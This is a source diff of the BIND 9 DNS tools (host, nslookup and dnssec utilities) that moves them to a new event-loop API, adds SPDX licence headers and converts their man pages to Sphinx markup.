-#endif /* ifndef DIG_H */
+ISC_LANG_ENDDECLS
diff --git a/bin/dig/host.c b/bin/dig/host.c
index a79c852e22..314f937b6e 100644
--- a/bin/dig/host.c
+++ b/bin/dig/host.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -13,20 +15,15 @@
 
 #include <inttypes.h>
 #include <limits.h>
+#include <locale.h>
 #include <stdbool.h>
 #include <stdlib.h>
 
-#ifdef HAVE_LOCALE_H
-#include <locale.h>
-#endif /* ifdef HAVE_LOCALE_H */
-
-#include <isc/app.h>
 #include <isc/attributes.h>
 #include <isc/commandline.h>
+#include <isc/loop.h>
 #include <isc/netaddr.h>
-#include <isc/print.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/util.h>
 
 #include <dns/byaddr.h>
@@ -102,7 +99,7 @@ rcode_totext(dns_rcode_t rcode) {
 	return (totext.deconsttext);
 }
 
-ISC_NORETURN static void
+noreturn static void
 show_usage(void);
 
 static void
@@ -140,7 +137,7 @@ show_usage(void) {
 
 static void
 host_shutdown(void) {
-	(void)isc_app_shutdown();
+	isc_loopmgr_shutdown(loopmgr);
 }
 
 static void
@@ -152,9 +149,9 @@ received(unsigned int bytes, isc_sockaddr_t *from, dig_query_t *query) {
 		char fromtext[ISC_SOCKADDR_FORMATSIZE];
 		isc_sockaddr_format(from, fromtext, sizeof(fromtext));
 		if (query->lookup->use_usec) {
-			TIME_NOW_HIRES(&now);
+			now = isc_time_now_hires();
 		} else {
-			TIME_NOW(&now);
+			now = isc_time_now();
 		}
 		diff = (int)isc_time_microdiff(&now, &query->time_sent);
 		printf("Received %u bytes from %s in %d ms\n", bytes, fromtext,
@@ -213,15 +210,9 @@ printsection(dns_message_t *msg, dns_section_t sectionid,
 	isc_region_t r;
 	dns_name_t empty_name;
 	// OQS updated from 4096 to 8192
-	char tbuf[8192];
+	char tbuf[8192] = { 0 };
 	bool first;
-	bool no_rdata;
-
-	if (sectionid == DNS_SECTION_QUESTION) {
-		no_rdata = true;
-	} else {
-		no_rdata = false;
-	}
+	bool no_rdata = (sectionid == DNS_SECTION_QUESTION);
 
 	if (headers) {
 		printf(";; %s SECTION:\n", section_name);
@@ -542,7 +533,8 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 	}
 
 	if (!ISC_LIST_EMPTY(msg->sections[DNS_SECTION_AUTHORITY]) &&
-	    !short_form) {
+	    !short_form)
+	{
 		printf("\n");
 		result = printsection(msg, DNS_SECTION_AUTHORITY, "AUTHORITY",
 				      true, query);
@@ -551,7 +543,8 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 		}
 	}
 	if (!ISC_LIST_EMPTY(msg->sections[DNS_SECTION_ADDITIONAL]) &&
-	    !short_form) {
+	    !short_form)
+	{
 		printf("\n");
 		result = printsection(msg, DNS_SECTION_ADDITIONAL, "ADDITIONAL",
 				      true, query);
@@ -587,12 +580,6 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 
 static const char *optstring = "46aAc:dilnm:p:rst:vVwCDN:R:TUW:";
 
-/*% version */
-static void
-version(void) {
-	fprintf(stderr, "host %s\n", PACKAGE_VERSION);
-}
-
 static void
 pre_parse_args(int argc, char **argv) {
 	int c;
@@ -605,10 +592,12 @@ pre_parse_args(int argc, char **argv) {
 			{
 				isc_mem_debugging |= ISC_MEM_DEBUGTRACE;
 			} else if (strcasecmp("record",
-					      isc_commandline_argument) == 0) {
+					      isc_commandline_argument) == 0)
+			{
 				isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
 			} else if (strcasecmp("usage",
-					      isc_commandline_argument) == 0) {
+					      isc_commandline_argument) == 0)
+			{
 				isc_mem_debugging |= ISC_MEM_DEBUGUSAGE;
 			}
 			break;
@@ -666,7 +655,7 @@ pre_parse_args(int argc, char **argv) {
 		case 'v':
 			break;
 		case 'V':
-			version();
+			printf("host %s\n", PACKAGE_VERSION);
 			exit(0);
 			break;
 		case 'w':
@@ -719,7 +708,8 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 			break;
 		case 't':
 			if (strncasecmp(isc_commandline_argument, "ixfr=", 5) ==
-			    0) {
+			    0)
+			{
 				rdtype = dns_rdatatype_ixfr;
 				/* XXXMPA add error checking */
 				serial = strtoul(isc_commandline_argument + 5,
@@ -738,7 +728,8 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 				      isc_commandline_argument);
 			}
 			if (!lookup->rdtypeset ||
-			    lookup->rdtype != dns_rdatatype_axfr) {
+			    lookup->rdtype != dns_rdatatype_axfr)
+			{
 				lookup->rdtype = rdtype;
 			}
 			lookup->rdtypeset = true;
@@ -779,10 +770,11 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 			break;
 		case 'A':
 			list_almost_all = true;
-		/* FALL THROUGH */
+			FALLTHROUGH;
 		case 'a':
 			if (!lookup->rdtypeset ||
-			    lookup->rdtype != dns_rdatatype_axfr) {
+			    lookup->rdtype != dns_rdatatype_axfr)
+			{
 				lookup->rdtype = dns_rdatatype_any;
 			}
 			list_type = dns_rdatatype_any;
@@ -856,6 +848,7 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 			break;
 		case 'p':
 			port = atoi(isc_commandline_argument);
+			port_set = true;
 			break;
 		}
 	}
@@ -893,8 +886,6 @@ parse_args(bool is_batchfile, int argc, char **argv) {
 
 int
 main(int argc, char **argv) {
-	isc_result_t result;
-
 	tries = 2;
 
 	ISC_LIST_INIT(lookup_list);
@@ -912,8 +903,6 @@ main(int argc, char **argv) {
 	debug("main()");
 	progname = argv[0];
 	pre_parse_args(argc, argv);
-	result = isc_app_start();
-	check_result(result, "isc_app_start");
 	setup_libs();
 	setup_system(ipv4only, ipv6only);
 	parse_args(false, argc, argv);
@@ -922,11 +911,12 @@ main(int argc, char **argv) {
 	} else if (keysecret[0] != 0) {
 		setup_text_key();
 	}
-	result = isc_app_onrun(mctx, global_task, onrun_callback, NULL);
-	check_result(result, "isc_app_onrun");
-	isc_app_run();
+
+	isc_loopmgr_setup(loopmgr, run_loop, NULL);
+	isc_loopmgr_run(loopmgr);
+
 	cancel_all();
 	destroy_libs();
-	isc_app_finish();
+
 	return ((seen_error == 0) ? 0 : 1);
 }
diff --git a/bin/dig/host.rst b/bin/dig/host.rst
index c65c643d0f..2647d36a73 100644
--- a/bin/dig/host.rst
+++ b/bin/dig/host.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: host
+.. program:: host
 .. _man_host:
 
 host - DNS lookup utility
@@ -34,55 +26,64 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``host`` is a simple utility for performing DNS lookups. It is normally
+:program:`host` is a simple utility for performing DNS lookups. It is normally
 used to convert names to IP addresses and vice versa. When no arguments
-or options are given, ``host`` prints a short summary of its
+or options are given, :program:`host` prints a short summary of its
 command-line arguments and options.
 
 ``name`` is the domain name that is to be looked up. It can also be a
 dotted-decimal IPv4 address or a colon-delimited IPv6 address, in which
-case ``host`` by default performs a reverse lookup for that address.
+case :program:`host` by default performs a reverse lookup for that address.
 ``server`` is an optional argument which is either the name or IP
-address of the name server that ``host`` should query instead of the
+address of the name server that :program:`host` should query instead of the
 server or servers listed in ``/etc/resolv.conf``.
 
 Options
 ~~~~~~~
 
-``-4``
-   This option specifies that only IPv4 should be used for query transport. See also the ``-6`` option.
+.. option:: -4
+
+   This option specifies that only IPv4 should be used for query transport. See also the :option:`-6` option.
 
-``-6``
-   This option specifies that only IPv6 should be used for query transport. See also the ``-4`` option.
+.. option:: -6
 
-``-a``
-   The ``-a`` ("all") option is normally equivalent to ``-v -t ANY``. It
-   also affects the behavior of the ``-l`` list zone option.
+   This option specifies that only IPv6 should be used for query transport. See also the :option:`-4` option.
 
-``-A``
-   The ``-A`` ("almost all") option is equivalent to ``-a``, except that RRSIG,
+.. option:: -a
+
+   The :option:`-a` ("all") option is normally equivalent to :option:`-v` :option:`-t ANY <-t>`. It
+   also affects the behavior of the :option:`-l` list zone option.
+
+.. option:: -A
+
+   The :option:`-A` ("almost all") option is equivalent to :option:`-a`, except that RRSIG,
    NSEC, and NSEC3 records are omitted from the output.
 
-``-c class``
+.. option:: -c class
+
    This option specifies the query class, which can be used to lookup HS (Hesiod) or CH (Chaosnet)
    class resource records. The default class is IN (Internet).
 
-``-C``
-   This option indicates that ``named`` should check consistency, meaning that ``host`` queries the SOA records for zone
+.. option:: -C
+
+   This option indicates that :iscman:`named` should check consistency, meaning that :program:`host` queries the SOA records for zone
    ``name`` from all the listed authoritative name servers for that
    zone. The list of name servers is defined by the NS records that are
    found for the zone.
 
-``-d``
-   This option prints debugging traces, and is equivalent to the ``-v`` verbose option.
+.. option:: -d
+
+   This option prints debugging traces, and is equivalent to the :option:`-v` verbose option.
 
-``-l``
-   This option tells ``named` to list the zone, meaning the ``host`` command performs a zone transfer of zone
+.. option:: -l
+
+   This option tells :iscman:`named` to list the zone, meaning the :program:`host` command performs a zone transfer of zone
    ``name`` and prints out the NS, PTR, and address records (A/AAAA).
 
-   Together, the ``-l -a`` options print all records in the zone.
+   Together, the :option:`-l` :option:`-a` options print all records in the zone.
+
+.. option:: -N ndots
 
-``-N ndots``
    This option specifies the number of dots (``ndots``) that have to be in ``name`` for it to be
    considered absolute. The default value is that defined using the
    ``ndots`` statement in ``/etc/resolv.conf``, or 1 if no ``ndots`` statement
@@ -90,85 +91,96 @@ Options
    and are searched for in the domains listed in the ``search`` or
    ``domain`` directive in ``/etc/resolv.conf``.
 
-``-p port``
+.. option:: -p port
+
    This option specifies the port to query on the server. The default is 53.
 
-``-r``
+.. option:: -r
+
    This option specifies a non-recursive query; setting this option clears the RD (recursion
    desired) bit in the query. This means that the name server
-   receiving the query does not attempt to resolve ``name``. The ``-r``
-   option enables ``host`` to mimic the behavior of a name server by
+   receiving the query does not attempt to resolve ``name``. The :option:`-r`
+   option enables :program:`host` to mimic the behavior of a name server by
    making non-recursive queries, and expecting to receive answers to
    those queries that can be referrals to other name servers.
 
-``-R number``
+.. option:: -R number
+
    This option specifies the number of retries for UDP queries. If ``number`` is negative or zero,
    the number of retries is silently set to 1. The default value is 1, or
    the value of the ``attempts`` option in ``/etc/resolv.conf``, if set.
 
-``-s``
-   This option tells ``named`` *not* to send the query to the next nameserver if any server responds
+.. option:: -s
+
+   This option tells :iscman:`named` *not* to send the query to the next nameserver if any server responds
    with a SERVFAIL response, which is the reverse of normal stub
    resolver behavior.
 
-``-t type``
+.. option:: -t type
+
    This option specifies the query type. The ``type`` argument can be any recognized query type:
    CNAME, NS, SOA, TXT, DNSKEY, AXFR, etc.
 
-   When no query type is specified, ``host`` automatically selects an
+   When no query type is specified, :program:`host` automatically selects an
    appropriate query type. By default, it looks for A, AAAA, and MX
-   records. If the ``-C`` option is given, queries are made for SOA
+   records. If the :option:`-C` option is given, queries are made for SOA
    records. If ``name`` is a dotted-decimal IPv4 address or
-   colon-delimited IPv6 address, ``host`` queries for PTR records.
+   colon-delimited IPv6 address, :program:`host` queries for PTR records.
 
    If a query type of IXFR is chosen, the starting serial number can be
    specified by appending an equals sign (=), followed by the starting serial
-   number, e.g., ``-t IXFR=12345678``.
+   number, e.g., :option:`-t IXFR=12345678 <-t>`.
 
-``-T``; ``-U``
-   This option specifies TCP or UDP. By default, ``host`` uses UDP when making queries; the
-   ``-T`` option makes it use a TCP connection when querying the name
+.. option:: -T, -U
+
+   This option specifies TCP or UDP. By default, :program:`host` uses UDP when making queries; the
+   :option:`-T` option makes it use a TCP connection when querying the name
    server. TCP is automatically selected for queries that require
    it, such as zone transfer (AXFR) requests. Type ``ANY`` queries default
-   to TCP, but can be forced to use UDP initially via ``-U``.
+   to TCP, but can be forced to use UDP initially via :option:`-U`.
+
+.. option:: -m flag
 
-``-m flag``
    This option sets memory usage debugging: the flag can be ``record``, ``usage``, or
-   ``trace``. The ``-m`` option can be specified more than once to set
+   ``trace``. The :option:`-m` option can be specified more than once to set
    multiple flags.
 
-``-v``
-   This option sets verbose output, and is equivalent to the ``-d`` debug option. Verbose output
+.. option:: -v
+
+   This option sets verbose output, and is equivalent to the :option:`-d` debug option. Verbose output
    can also be enabled by setting the ``debug`` option in
    ``/etc/resolv.conf``.
 
-``-V``
+.. option:: -V
+
    This option prints the version number and exits.
 
-``-w``
+.. option:: -w
+
    This option sets "wait forever": the query timeout is set to the maximum possible. See
-   also the ``-W`` option.
+   also the :option:`-W` option.
+
+.. option:: -W wait
 
-``-W wait``
-   This options sets the length of the wait timeout, indicating that ``named`` should wait for up to ``wait`` seconds for a reply. If ``wait`` is
+   This options sets the length of the wait timeout, indicating that :iscman:`named` should wait for up to ``wait`` seconds for a reply. If ``wait`` is
    less than 1, the wait interval is set to 1 second.
 
-   By default, ``host`` waits for 5 seconds for UDP responses and 10
+   By default, :program:`host` waits for 5 seconds for UDP responses and 10
    seconds for TCP connections. These defaults can be overridden by the
    ``timeout`` option in ``/etc/resolv.conf``.
 
-   See also the ``-w`` option.
+   See also the :option:`-w` option.
 
 IDN Support
 ~~~~~~~~~~~
 
-If ``host`` has been built with IDN (internationalized domain name)
-support, it can accept and display non-ASCII domain names. ``host``
+If :program:`host` has been built with IDN (internationalized domain name)
+support, it can accept and display non-ASCII domain names. :program:`host`
 appropriately converts character encoding of a domain name before sending
 a request to a DNS server or displaying a reply from the server.
 To turn off IDN support, define the ``IDN_DISABLE``
 environment variable. IDN support is disabled if the variable is set
-when ``host`` runs.
+when :program:`host` runs.
 
 Files
 ~~~~~
@@ -178,4 +190,4 @@ Files
 See Also
 ~~~~~~~~
 
-:manpage:`dig(1)`, :manpage:`named(8)`.
+:iscman:`dig(1) <dig>`, :iscman:`named(8) <named>`.
diff --git a/bin/dig/nslookup.c b/bin/dig/nslookup.c
index 702e9af41d..dc43f7cdcf 100644
--- a/bin/dig/nslookup.c
+++ b/bin/dig/nslookup.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,17 +16,17 @@
 #include <stdlib.h>
 #include <unistd.h>
 
-#include <isc/app.h>
+#include <isc/async.h>
 #include <isc/attributes.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
-#include <isc/event.h>
+#include <isc/condition.h>
+#include <isc/loop.h>
 #include <isc/netaddr.h>
 #include <isc/parseint.h>
-#include <isc/print.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/util.h>
+#include <isc/work.h>
 
 #include <dns/byaddr.h>
 #include <dns/fixedname.h>
@@ -39,6 +41,9 @@
 #include "dighost.h"
 #include "readline.h"
 
+static char cmdlinebuf[COMMSIZE];
+static char *cmdline = NULL;
+
 static bool short_form = true, tcpmode = false, tcpmode_set = false,
 	    identify = false, stats = true, comments = true,
 	    section_question = true, section_answer = true,
@@ -51,7 +56,6 @@ static bool interactive;
 static bool in_use = false;
 static char defclass[MXRD] = "IN";
 static char deftype[MXRD] = "A";
-static isc_event_t *global_event = NULL;
 static int query_error = 1, print_error = 0;
 
 static char domainopt[DNS_NAME_MAXTEXT];
@@ -110,9 +114,6 @@ static const char *rtypetext[] = {
 
 #define N_KNOWN_RRTYPES (sizeof(rtypetext) / sizeof(rtypetext[0]))
 
-static void
-getinput(isc_task_t *task, isc_event_t *event);
-
 static char *
 rcode_totext(dns_rcode_t rcode) {
 	static char buf[sizeof("?65535")];
@@ -130,20 +131,6 @@ rcode_totext(dns_rcode_t rcode) {
 	return (totext.deconsttext);
 }
 
-static void
-query_finished(void) {
-	isc_event_t *event = global_event;
-
-	debug("dighost_shutdown()");
-
-	if (!in_use) {
-		isc_app_shutdown();
-		return;
-	}
-
-	isc_task_send(global_task, &event);
-}
-
 static void
 printsoa(dns_rdata_t *rdata) {
 	dns_rdata_soa_t soa;
@@ -399,8 +386,6 @@ chase_cnamechain(dns_message_t *msg, dns_name_t *qname) {
 static isc_result_t
 printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 	     bool headers) {
-	char servtext[ISC_SOCKADDR_FORMATSIZE];
-
 	UNUSED(msgbuf);
 
 	/* I've we've gotten this far, we've reached a server. */
@@ -409,6 +394,7 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 	debug("printmessage()");
 
 	if (!default_lookups || query->lookup->rdtype == dns_rdatatype_a) {
+		char servtext[ISC_SOCKADDR_FORMATSIZE];
 		isc_sockaddr_format(&query->sockaddr, servtext,
 				    sizeof(servtext));
 		printf("Server:\t\t%s\n", query->userarg);
@@ -580,6 +566,7 @@ set_port(const char *value) {
 	isc_result_t result = parse_uint(&n, value, 65535, "port");
 	if (result == ISC_R_SUCCESS) {
 		port = (uint16_t)n;
+		port_set = true;
 	}
 }
 
@@ -610,17 +597,10 @@ set_ndots(const char *value) {
 	}
 }
 
-static void
-version(void) {
-	fprintf(stderr, "nslookup %s\n", PACKAGE_VERSION);
-}
-
 static void
 setoption(char *opt) {
 	size_t l = strlen(opt);
 
-	debugging = true;
-
 #define CHECKOPT(A, N) \
 	((l >= N) && (l < sizeof(A)) && (strncasecmp(opt, A, l) == 0))
 
@@ -810,10 +790,8 @@ do_next_command(char *input) {
 	} else if ((strcasecmp(ptr, "server") == 0) ||
 		   (strcasecmp(ptr, "lserver") == 0))
 	{
-		isc_app_block();
 		set_nameserver(arg);
 		check_ra = false;
-		isc_app_unblock();
 		show_settings(true, true);
 	} else if (strcasecmp(ptr, "exit") == 0) {
 		in_use = false;
@@ -830,31 +808,34 @@ do_next_command(char *input) {
 }
 
 static void
-get_next_command(void) {
-	char cmdlinebuf[COMMSIZE];
-	char *cmdline, *ptr = NULL;
+readline_next_command(void *arg) {
+	char *ptr = NULL;
 
-	isc_app_block();
-	if (interactive) {
-		cmdline = ptr = readline("> ");
-		if (ptr != NULL && *ptr != 0) {
-			add_history(ptr);
-		}
-	} else {
-		cmdline = fgets(cmdlinebuf, COMMSIZE, stdin);
-	}
-	isc_app_unblock();
-	if (cmdline == NULL) {
-		in_use = false;
-	} else {
-		do_next_command(cmdline);
+	UNUSED(arg);
+
+	isc_loopmgr_blocking(loopmgr);
+	ptr = readline("> ");
+	isc_loopmgr_nonblocking(loopmgr);
+	if (ptr == NULL) {
+		return;
 	}
-	if (ptr != NULL) {
-		free(ptr);
+
+	if (*ptr != 0) {
+		add_history(ptr);
+		strlcpy(cmdlinebuf, ptr, COMMSIZE);
+		cmdline = cmdlinebuf;
 	}
+	free(ptr);
+}
+
+static void
+fgets_next_command(void *arg) {
+	UNUSED(arg);
+
+	cmdline = fgets(cmdlinebuf, COMMSIZE, stdin);
 }
 
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -880,7 +861,7 @@ parse_args(int argc, char **argv) {
 		debug("main parsing %s", argv[0]);
 		if (argv[0][0] == '-') {
 			if (strncasecmp(argv[0], "-ver", 4) == 0) {
-				version();
+				printf("nslookup %s\n", PACKAGE_VERSION);
 				exit(0);
 			} else if (argv[0][1] != 0) {
 				setoption(&argv[0][1]);
@@ -904,25 +885,54 @@ parse_args(int argc, char **argv) {
 }
 
 static void
-getinput(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-	if (global_event == NULL) {
-		global_event = event;
-	}
-	while (in_use) {
-		get_next_command();
+start_next_command(void);
+
+static void
+process_next_command(void *arg ISC_ATTR_UNUSED) {
+	isc_loop_t *loop = isc_loop_main(loopmgr);
+	if (cmdline == NULL) {
+		in_use = false;
+	} else {
+		do_next_command(cmdline);
 		if (ISC_LIST_HEAD(lookup_list) != NULL) {
-			start_lookup();
+			isc_async_run(loop, run_loop, NULL);
 			return;
 		}
 	}
-	isc_app_shutdown();
+
+	start_next_command();
+}
+
+static void
+start_next_command(void) {
+	isc_loop_t *loop = isc_loop_main(loopmgr);
+	if (!in_use) {
+		isc_loopmgr_shutdown(loopmgr);
+		return;
+	}
+
+	cmdline = NULL;
+
+	isc_loopmgr_pause(loopmgr);
+	if (interactive) {
+		isc_work_enqueue(loop, readline_next_command,
+				 process_next_command, loop);
+	} else {
+		isc_work_enqueue(loop, fgets_next_command, process_next_command,
+				 loop);
+	}
+	isc_loopmgr_resume(loopmgr);
+}
+
+static void
+read_loop(void *arg) {
+	UNUSED(arg);
+
+	start_next_command();
 }
 
 int
 main(int argc, char **argv) {
-	isc_result_t result;
-
 	interactive = isatty(0);
 
 	ISC_LIST_INIT(lookup_list);
@@ -935,10 +945,7 @@ main(int argc, char **argv) {
 	dighost_printmessage = printmessage;
 	dighost_received = received;
 	dighost_trying = trying;
-	dighost_shutdown = query_finished;
-
-	result = isc_app_start();
-	check_result(result, "isc_app_start");
+	dighost_shutdown = start_next_command;
 
 	setup_libs();
 	progname = argv[0];
@@ -954,23 +961,18 @@ main(int argc, char **argv) {
 		set_search_domain(domainopt);
 	}
 	if (in_use) {
-		result = isc_app_onrun(mctx, global_task, onrun_callback, NULL);
+		isc_loopmgr_setup(loopmgr, run_loop, NULL);
 	} else {
-		result = isc_app_onrun(mctx, global_task, getinput, NULL);
+		isc_loopmgr_setup(loopmgr, read_loop, NULL);
 	}
-	check_result(result, "isc_app_onrun");
 	in_use = !in_use;
 
-	(void)isc_app_run();
+	isc_loopmgr_run(loopmgr);
 
 	puts("");
 	debug("done, and starting to shut down");
-	if (global_event != NULL) {
-		isc_event_free(&global_event);
-	}
 	cancel_all();
 	destroy_libs();
-	isc_app_finish();
 
 	return (query_error | print_error);
 }
diff --git a/bin/dig/nslookup.rst b/bin/dig/nslookup.rst
index 1dafd364a4..2b92aa761b 100644
--- a/bin/dig/nslookup.rst
+++ b/bin/dig/nslookup.rst
@@ -1,26 +1,18 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ..
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. highlight: console
 
+.. iscman:: nslookup
+.. program:: nslookup
 .. _man_nslookup:
 
 nslookup - query Internet name servers interactively
@@ -34,8 +26,8 @@ Synopsis
 Description
 ~~~~~~~~~~~
 
-``nslookup`` is a program to query Internet domain name servers.
-``nslookup`` has two modes: interactive and non-interactive. Interactive
+:program:`nslookup` is a program to query Internet domain name servers.
+:program:`nslookup` has two modes: interactive and non-interactive. Interactive
 mode allows the user to query name servers for information about various
 hosts and domains or to print a list of hosts in a domain.
 Non-interactive mode prints just the name and requested
@@ -64,16 +56,16 @@ seconds, type:
 
    nslookup -query=hinfo  -timeout=10
 
-The ``-version`` option causes ``nslookup`` to print the version number
+The ``-version`` option causes :program:`nslookup` to print the version number
 and immediately exit.
 
 Interactive Commands
 ~~~~~~~~~~~~~~~~~~~~
 
 ``host [server]``
-   This command looks up information for ``host`` using the current default server or
-   using ``server``, if specified. If ``host`` is an Internet address and the
-   query type is A or PTR, the name of the host is returned. If ``host`` is
+   This command looks up information for :iscman:`host` using the current default server or
+   using ``server``, if specified. If :iscman:`host` is an Internet address and the
+   query type is A or PTR, the name of the host is returned. If :iscman:`host` is
    a name and does not have a trailing period (``.``), the search list is used
    to qualify the name.
 
@@ -191,19 +183,19 @@ Interactive Commands
 Return Values
 ~~~~~~~~~~~~~
 
-``nslookup`` returns with an exit status of 1 if any query failed, and 0
+:program:`nslookup` returns with an exit status of 1 if any query failed, and 0
 otherwise.
 
 IDN Support
 ~~~~~~~~~~~
 
-If ``nslookup`` has been built with IDN (internationalized domain name)
-support, it can accept and display non-ASCII domain names. ``nslookup``
+If :program:`nslookup` has been built with IDN (internationalized domain name)
+support, it can accept and display non-ASCII domain names. :program:`nslookup`
 appropriately converts character encoding of a domain name before sending
 a request to a DNS server or displaying a reply from the server.
 To turn off IDN support, define the ``IDN_DISABLE``
 environment variable. IDN support is disabled if the variable is set
-when ``nslookup`` runs, or when the standard output is not a tty.
+when :program:`nslookup` runs, or when the standard output is not a tty.
 
 Files
 ~~~~~
@@ -213,4 +205,4 @@ Files
 See Also
 ~~~~~~~~
 
-:manpage:`dig(1)`, :manpage:`host(1)`, :manpage:`named(8)`.
+:iscman:`dig(1) <dig>`, :iscman:`host(1) <host>`, :iscman:`named(8) <named>`.
diff --git a/bin/dig/readline.h b/bin/dig/readline.h
index 5e270854ec..68a38c3ef9 100644
--- a/bin/dig/readline.h
+++ b/bin/dig/readline.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/bin/dnssec/Makefile.am b/bin/dnssec/Makefile.am
index 7aeaccc97c..0017705a0d 100644
--- a/bin/dnssec/Makefile.am
+++ b/bin/dnssec/Makefile.am
@@ -4,15 +4,16 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)
 
-AM_CPPFLAGS +=						\
+AM_CPPFLAGS +=			\
 	-DNAMED_CONFFILE=\"${sysconfdir}/named.conf\"
 
 noinst_LTLIBRARIES = libdnssectool.la
 
-LDADD =				\
+LDADD +=			\
 	libdnssectool.la	\
 	$(LIBISC_LIBS)		\
-	$(LIBDNS_LIBS)
+	$(LIBDNS_LIBS)		\
+	$(OPENSSL_LIBS)
 
 bin_PROGRAMS = \
 	dnssec-cds		\
@@ -31,8 +32,20 @@ libdnssectool_la_SOURCES =	\
 
 dnssec_keygen_CPPFLAGS =	\
 	$(AM_CPPFLAGS)		\
-	$(LIBISCCFG_CFLAGS)
+	$(LIBISCCFG_CFLAGS)	\
+	$(OPENSSL_CFLAGS)
 
 dnssec_keygen_LDADD =		\
 	$(LDADD)		\
-	$(LIBISCCFG_LIBS)
+	$(LIBISCCFG_LIBS)	\
+	$(OPENSSL_LIBS)
+
+dnssec_signzone_CPPFLAGS =	\
+	$(AM_CPPFLAGS)		\
+	$(LIBISCCFG_CFLAGS)	\
+	$(OPENSSL_CFLAGS)
+
+dnssec_signzone_LDADD =		\
+	$(LDADD)		\
+	$(LIBISCCFG_LIBS)	\
+	$(OPENSSL_LIBS)
diff --git a/bin/dnssec/dnssec-cds.c b/bin/dnssec/dnssec-cds.c
index 4da36c5f9e..2e2d8999f1 100644
--- a/bin/dnssec/dnssec-cds.c
+++ b/bin/dnssec/dnssec-cds.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,10 +26,11 @@
 #include <isc/attributes.h>
 #include <isc/buffer.h>
 #include <isc/commandline.h>
+#include <isc/dir.h>
 #include <isc/file.h>
 #include <isc/hash.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/string.h>
 #include <isc/time.h>
@@ -49,15 +52,10 @@
 #include <dns/rdataset.h>
 #include <dns/rdatasetiter.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/time.h>
 
 #include <dst/dst.h>
 
-#if USE_PKCS11
-#include <pk11/result.h>
-#endif /* if USE_PKCS11 */
-
 #include "dnssectool.h"
